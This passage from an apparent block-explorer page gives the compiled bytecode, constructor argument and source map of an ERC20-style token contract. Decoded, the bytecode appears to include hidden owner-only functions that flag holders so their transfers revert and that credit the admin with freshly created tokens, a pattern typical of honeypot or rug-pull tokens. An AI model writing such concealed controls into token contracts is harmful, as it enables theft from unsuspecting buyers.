b91906116fb565b60405180910390f35b61031e60048036038101906103199190611753565b610c59565b60405161032b91906117ae565b60405180910390f35b61034e60048036038101906103499190611753565b610cd9565b60405161035b91906117ae565b60405180910390f35b61036c610d8a565b005b610388600480360381019061038391906118a7565b610ec0565b60405161039591906117d8565b60405180910390f35b6103a6610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103ff57600080fd5b610407610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90611933565b60405180910390fd5b6000819050600061270f80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104eb9190611982565b6104f591906119b6565b90506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361058491906119b6565b61058e9190611982565b905080600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105df9190611982565b9250508190555050505050565b600180546105f990611a19565b80601f016020809104026020016040519081016040528092919081815260200182805461062590611a19565b80156106725780601f1061064757610100808354040283529160200191610672565b820191906000526020600020905b81548152906001019060200180831161065557829003601f168201915b505050505081565b60606001805461068990611a19565b80601f01602080910402602001604051908101604052809291908181526020018280546106b590611a19565b80156107025780601f106106d757610100808354040283529160200191610702565b820191906000526020600020905b8154815290600101906020018083116106e557829003601f168201915b5050505050905090565b6000610720610719610f47565b8484610f4f565b6001905092915050565b6000600554905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061270f6008600061076c610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414905080156107ee5760016040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e59190611ae3565b60405180910390fd5b60006107f8610f47565b9050610805868286611118565b6108108686866111ad565b6001925050509392505050565b6002805461082a90611a19565b80601f016020809104026020016040519081016040528092919081815260200182805461085690611a19565b80156108a35780601f10610878576101008083540402835291602001916108a3565b820191906000526020600020905b81548152906001019060200180831161088657829003601f168201915b505050505081565b6108b3610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093990611933565b60405180910390fd5b61094a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a357600080fd5b600081905061270f600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006012905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a4c611499565b610a566000611517565b565b610a60610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690611933565b60405180910390fd5b610af7610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5057600080fd5b60008190506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bd690611a19565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0290611a19565b8015610c4f5780601f10610c2457610100808354040283529160200191610c4f565b820191906000526020600020905b815481529060010190602001808311610c3257829003601f168201915b5050505050905090565b600080610c64610f47565b90506000610c728286610ec0565b905083811015610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90611b77565b60405180910390fd5b610ccd82868684610cc89190611982565b610f4f565b60019250505092915050565b60008061270f60086000610ceb610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541490508015610d6d5760016040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d649190611ae3565b60405180910390fd5b610d7f610d78610f47565b85856111ad565b600191505092915050565b610d92610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a9050505060006409db1063709050610dc9610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2c610f47565b90506000819050600083610e3e6109f2565b600a610e4a9190611cca565b610e549190611d15565b62010e50610e629190611d15565b905080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb391906119b6565b9250508190555050505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611dc9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361102d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102490611e5b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110b91906117d8565b60405180910390a3505050565b60006111248484610ec0565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111a75781811015611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790611ec7565b60405180910390fd5b6111a6848484846111a19190611982565b610f4f565b5b50505050565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122b90611f59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90611feb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061207d565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135d9190611982565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb91906119b6565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161148b91906117d8565b60405180910390a350505050565b6114a1610f47565b73ffffffffffffffffffffffffffffffffffffffff166114bf610b9e565b73ffffffffffffffffffffffffffffffffffffffff1614611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c906120e9565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061160b826115e0565b9050919050565b61161b81611600565b811461162657600080fd5b50565b60008135905061163881611612565b92915050565b600060208284031215611654576116536115db565b5b600061166284828501611629565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a557808201518184015260208101905061168a565b60008484015250505050565b6000601f19601f8301169050919050565b60006116cd8261166b565b6116d78185611676565b93506116e7818560208601611687565b6116f0816116b1565b840191505092915050565b6000602082019050818103600083015261171581846116c2565b905092915050565b6000819050919050565b6117308161171d565b811461173b57600080fd5b50565b60008135905061174d81611727565b92915050565b6000806040838503121561176a576117696115db565b5b600061177885828601611629565b92505060206117898582860161173e565b9150509250929050565b60008115159050919050565b6117a881611793565b82525050565b60006020820190506117c3600083018461179f565b92915050565b6117d28161171d565b82525050565b60006020820190506117ed60008301846117c9565b92915050565b6117fc81611600565b82525050565b600060208201905061181760008301846117f3565b92915050565b600080600060608486031215611836576118356115db565b5b600061184486828701611629565b935050602061185586828701611629565b92505060406118668682870161173e565b9150509250925092565b600060ff82169050919050565b61188681611870565b82525050565b60006020820190506118a1600083018461187d565b92915050565b600080604083850312156118be576118bd6115db565b5b60006118cc85828601611629565b92505060206118dd85828601611629565b9150509250929050565b7f6675000000000000000000000000000000000000000000000000000000000000600082015250565b600061191d600283611676565b9150611928826118e7565b602082019050919050565b6000602082019050818103600083015261194c81611910565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061198d8261171d565b91506119988361171d565b92508282039050818111156119b0576119af611953565b5b92915050565b60006119c18261171d565b91506119cc8361171d565b92508282019050808211156119e4576119e3611953565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a3157607f821691505b602082108103611a4457611a436119ea565b5b50919050565b60008190508160005260206000209050919050565b60008154611a6c81611a19565b611a768186611676565b94506001821660008114611a915760018114611aa757611ada565b60ff198316865281151560200286019350611ada565b611ab085611a4a565b60005b83811015611ad257815481890152600182019150602081019050611ab3565b808801955050505b50505092915050565b60006020820190508181036000830152611afd8184611a5f565b905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b61602583611676565b9150611b6c82611b05565b604082019050919050565b60006020820190508181036000830152611b9081611b54565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611bee57808604811115611bca57611bc9611953565b5b6001851615611bd95780820291505b8081029050611be785611b97565b9450611bae565b94509492505050565b600082611c075760019050611cc3565b81611c155760009050611cc3565b8160018114611c2b5760028114611c3557611c64565b6001915050611cc3565b60ff841115611c4757611c46611953565b5b8360020a915084821115611c5e57611c5d611953565b5b50611cc3565b5060208310610133831016604e8410600b8410161715611c995782820a905083811115611c9457611c93611953565b5b611cc3565b611ca68484846001611ba4565b92509050818404811115611cbd57611cbc611953565b5b81810290505b9392505050565b6000611cd58261171d565b9150611ce083611870565b9250611d0d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611bf7565b905092915050565b6000611d208261171d565b9150611d2b8361171d565b9250828202611d398161171d565b91508282048414831517611d5057611d4f611953565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db3602483611676565b9150611dbe82611d57565b604082019050919050565b60006020820190508181036000830152611de281611da6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e45602283611676565b9150611e5082611de9565b604082019050919050565b60006020820190508181036000830152611e7481611e38565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611eb1601d83611676565b9150611ebc82611e7b565b602082019050919050565b60006020820190508181036000830152611ee081611ea4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611f43602683611676565b9150611f4e82611ee7565b604082019050919050565b60006020820190508181036000830152611f7281611f36565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fd5602583611676565b9150611fe082611f79565b604082019050919050565b6000602082019050818103600083015261200481611fc8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612067602383611676565b91506120728261200b565b604082019050919050565b600060208201905081810360008301526120968161205a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120d3602083611676565b91506120de8261209d565b602082019050919050565b60006020820190508181036000830152612102816120c6565b905091905056fea264697066735822122078b39ba4f3c3512ca6d293b907a2b8bc132d901f2b572af22c871aa1b107e0d564736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000bf2b7679ffea758527b525e41e268e33f3632afc

-----Decoded View---------------
Arg [0] : tokenadmin (address): 0xbf2b7679fFEA758527B525e41e268e33f3632AfC

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000bf2b7679ffea758527b525e41e268e33f3632afc


Deployed Bytecode Sourcemap

1152:5350:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2261:378;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1415:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3287:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4198:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2023:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1557:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4358:402;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1459:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2647:265;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2122:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3173:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;722:103;;;:::i;:::-;;2920:245;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;487:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1924:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6101:398;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3786:259;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3386:392;;;:::i;:::-;;4056:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2261:378;2332:12;:10;:12::i;:::-;2321:23;;:6;;;;;;;;;;;:23;;;2313:32;;;;;;2369:12;:10;:12::i;:::-;2359:22;;:6;;;;;;;;;;;:22;;;2356:69;;2401:12;;;;;;;;;;:::i;:::-;;;;;;;;2356:69;2441:14;2458:6;2441:23;;2475:19;2516:4;2511;2497:5;:13;2503:6;2497:13;;;;;;;;;;;;;;;;:18;;;;:::i;:::-;:23;;;;:::i;:::-;2475:45;;2531:19;2579:5;:13;2585:6;2579:13;;;;;;;;;;;;;;;;2565:5;:13;2571:6;2565:13;;;;;;;;;;;;;;;;2553:11;:25;;;;:::i;:::-;:39;;;;:::i;:::-;2531:61;;2620:11;2603:5;:13;2609:6;2603:13;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;2302:337;;;2261:378;:::o;1415:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3287:88::-;3324:13;3357:10;3350:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3287:88;:::o;4198:152::-;4264:4;4281:39;4290:12;:10;:12::i;:::-;4304:7;4313:6;4281:8;:39::i;:::-;4338:4;4331:11;;4198:152;;;;:::o;2023:91::-;2067:7;2094:12;;2087:19;;2023:91;:::o;1557:21::-;;;;;;;;;;;;;:::o;4358:402::-;4481:4;4498:9;4532:4;4510;:18;4515:12;:10;:12::i;:::-;4510:18;;;;;;;;;;;;;;;;:26;4498:38;;4552:4;4548:55;;;4580:10;4573:18;;;;;;;;;;;:::i;:::-;;;;;;;;4548:55;4613:15;4631:12;:10;:12::i;:::-;4613:30;;4654:38;4670:4;4676:7;4685:6;4654:15;:38::i;:::-;4703:27;4713:4;4719:2;4723:6;4703:9;:27::i;:::-;4748:4;4741:11;;;;4358:402;;;;;:::o;1459:36::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2647:265::-;2727:12;:10;:12::i;:::-;2717:22;;:6;;;;;;;;;;;:22;;;2714:73;;2759:12;;;;;;;;;;:::i;:::-;;;;;;;;2714:73;2818:12;:10;:12::i;:::-;2807:23;;:6;;;;;;;;;;;:23;;;2799:32;;;;;;2842:14;2859:6;2842:23;;2891:4;2876;:12;2881:6;2876:12;;;;;;;;;;;;;;;:19;;;;2702:210;2647:265;:::o;2122:84::-;2171:5;2196:2;2189:9;;2122:84;:::o;3173:106::-;3230:7;3257:5;:14;3263:7;3257:14;;;;;;;;;;;;;;;;3250:21;;3173:106;;;:::o;722:103::-;206:13;:11;:13::i;:::-;787:30:::1;814:1;787:18;:30::i;:::-;722:103::o:0;2920:245::-;3002:12;:10;:12::i;:::-;2992:22;;:6;;;;;;;;;;;:22;;;2989:65;;3030:12;;;;;;;;;;:::i;:::-;;;;;;;;2989:65;3083:12;:10;:12::i;:::-;3072:23;;:6;;;;;;;;;;;:23;;;3064:32;;;;;;3107:14;3124:6;3107:23;;3156:1;3141:4;:12;3146:6;3141:12;;;;;;;;;;;;;;;:16;;;;2978:187;2920:245;:::o;487:87::-;533:7;560:6;;;;;;;;;;;553:13;;487:87;:::o;1924:93::-;1964:13;1997:12;1990:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1924:93;:::o;6101:398::-;6194:4;6211:13;6227:12;:10;:12::i;:::-;6211:28;;6250:24;6277:25;6287:5;6294:7;6277:9;:25::i;:::-;6250:52;;6341:15;6321:16;:35;;6313:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;6409:60;6418:5;6425:7;6453:15;6434:16;:34;;;;:::i;:::-;6409:8;:60::i;:::-;6487:4;6480:11;;;;6101:398;;;;:::o;3786:259::-;3848:4;3865:9;3899:4;3877;:18;3882:12;:10;:12::i;:::-;3877:18;;;;;;;;;;;;;;;;:26;3865:38;;3919:4;3915:55;;;3947:10;3940:18;;;;;;;;;;;:::i;:::-;;;;;;;;3915:55;3980:35;3990:12;:10;:12::i;:::-;4004:2;4008:6;3980:9;:35::i;:::-;4033:4;4026:11;;;3786:259;;;;:::o;3386:392::-;3452:12;:10;:12::i;:::-;3442:22;;:6;;;;;;;;;;:22;3487:21;3511:17;3487:41;;3557:12;:10;:12::i;:::-;3547:22;;:6;;;;;;;;;;;:22;;;3539:31;;;;;;3581:16;3600:12;:10;:12::i;:::-;3581:31;;3623:14;3640:8;3623:25;;3669:15;3710:13;3699:10;:8;:10::i;:::-;3695:2;:14;;;;:::i;:::-;:28;;;;:::i;:::-;3687:5;:38;;;;:::i;:::-;3669:56;;3753:7;3736:5;:13;3742:6;3736:13;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;3428:350;;;;3386:392::o;4056:134::-;4128:7;4155:11;:18;4167:5;4155:18;;;;;;;;;;;;;;;:27;4174:7;4155:27;;;;;;;;;;;;;;;;4148:34;;4056:134;;;;:::o;245:98::-;298:7;325:10;318:17;;245:98;:::o;5296:378::-;5449:1;5432:19;;:5;:19;;;5424:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5530:1;5511:21;;:7;:21;;;5503:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5612:6;5582:11;:18;5594:5;5582:18;;;;;;;;;;;;;;;:27;5601:7;5582:27;;;;;;;;;;;;;;;:36;;;;5650:7;5634:32;;5643:5;5634:32;;;5659:6;5634:32;;;;;;:::i;:::-;;;;;;;;5296:378;;;:::o;5684:409::-;5819:24;5846:25;5856:5;5863:7;5846:9;:25::i;:::-;5819:52;;5906:17;5886:16;:37;5882:204;;5968:6;5948:16;:26;;5940:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6023:51;6032:5;6039:7;6067:6;6048:16;:25;;;;:::i;:::-;6023:8;:51::i;:::-;5882:204;5808:285;5684:409;;;:::o;4770:518::-;4893:15;4911:5;:11;4917:4;4911:11;;;;;;;;;;;;;;;;4893:29;;4952:6;4941:7;:17;;4933:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5036:1;5020:18;;:4;:18;;;5012:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5113:1;5099:16;;:2;:16;;;5091:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5192:6;5180:5;:11;5186:4;5180:11;;;;;;;;;;;;;;;;:18;;;;:::i;:::-;5166:5;:11;5172:4;5166:11;;;;;;;;;;;;;;;:32;;;;5231:6;5221:5;:9;5227:2;5221:9;;;;;;;;;;;;;;;;:16;;;;:::i;:::-;5209:5;:9;5215:2;5209:9;;;;;;;;;;;;;;;:28;;;;5268:2;5253:26;;5262:4;5253:26;;;5272:6;5253:26;;;;;;:::i;:::-;;;;;;;;4882:406;4770:518;;;:::o;582:132::-;657:12;:10;:12::i;:::-;646:23;;:7;:5;:7::i;:::-;:23;;;638:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;582:132::o;922:191::-;996:16;1015:6;;;;;;;;;;;996:25;;1041:8;1032:6;;:17;;;;;;;;;;;;;;;;;;1096:8;1065:40;;1086:8;1065:40;;;;;;;;;;;;985:128;922:191;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:118::-;4220:24;4238:5;4220:24;:::i;:::-;4215:3;4208:37;4133:118;;:::o;4257:222::-;4350:4;4388:2;4377:9;4373:18;4365:26;;4401:71;4469:1;4458:9;4454:17;4445:6;4401:71;:::i;:::-;4257:222;;;;:::o;4485:619::-;4562:6;4570;4578;4627:2;4615:9;4606:7;4602:23;4598:32;4595:119;;;4633:79;;:::i;:::-;4595:119;4753:1;4778:53;4823:7;4814:6;4803:9;4799:22;4778:53;:::i;:::-;4768:63;;4724:117;4880:2;4906:53;4951:7;4942:6;4931:9;4927:22;4906:53;:::i;:::-;4896:63;;4851:118;5008:2;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4979:118;4485:619;;;;;:::o;5110:86::-;5145:7;5185:4;5178:5;5174:16;5163:27;;5110:86;;;:::o;5202:112::-;5285:22;5301:5;5285:22;:::i;:::-;5280:3;5273:35;5202:112;;:::o;5320:214::-;5409:4;5447:2;5436:9;5432:18;5424:26;;5460:67;5524:1;5513:9;5509:17;5500:6;5460:67;:::i;:::-;5320:214;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:152::-;6160:4;6156:1;6148:6;6144:14;6137:28;6020:152;:::o;6178:365::-;6320:3;6341:66;6405:1;6400:3;6341:66;:::i;:::-;6334:73;;6416:93;6505:3;6416:93;:::i;:::-;6534:2;6529:3;6525:12;6518:19;;6178:365;;;:::o;6549:419::-;6715:4;6753:2;6742:9;6738:18;6730:26;;6802:9;6796:4;6792:20;6788:1;6777:9;6773:17;6766:47;6830:131;6956:4;6830:131;:::i;:::-;6822:139;;6549:419;;;:::o;6974:180::-;7022:77;7019:1;7012:88;7119:4;7116:1;7109:15;7143:4;7140:1;7133:15;7160:194;7200:4;7220:20;7238:1;7220:20;:::i;:::-;7215:25;;7254:20;7272:1;7254:20;:::i;:::-;7249:25;;7298:1;7295;7291:9;7283:17;;7322:1;7316:4;7313:11;7310:37;;;7327:18;;:::i;:::-;7310:37;7160:194;;;;:::o;7360:191::-;7400:3;7419:20;7437:1;7419:20;:::i;:::-;7414:25;;7453:20;7471:1;7453:20;:::i;:::-;7448:25;;7496:1;7493;7489:9;7482:16;;7517:3;7514:1;7511:10;7508:36;;;7524:18;;:::i;:::-;7508:36;7360:191;;;;:::o;7557:180::-;7605:77;7602:1;7595:88;7702:4;7699:1;7692:15;7726:4;7723:1;7716:15;7743:320;7787:6;7824:1;7818:4;7814:12;7804:22;;7871:1;7865:4;7861:12;7892:18;7882:81;;7948:4;7940:6;7936:17;7926:27;;7882:81;8010:2;8002:6;7999:14;7979:18;7976:38;7973:84;;8029:18;;:::i;:::-;7973:84;7794:269;7743:320;;;:::o;8069:141::-;8118:4;8141:3;8133:11;;8164:3;8161:1;8154:14;8198:4;8195:1;8185:18;8177:26;;80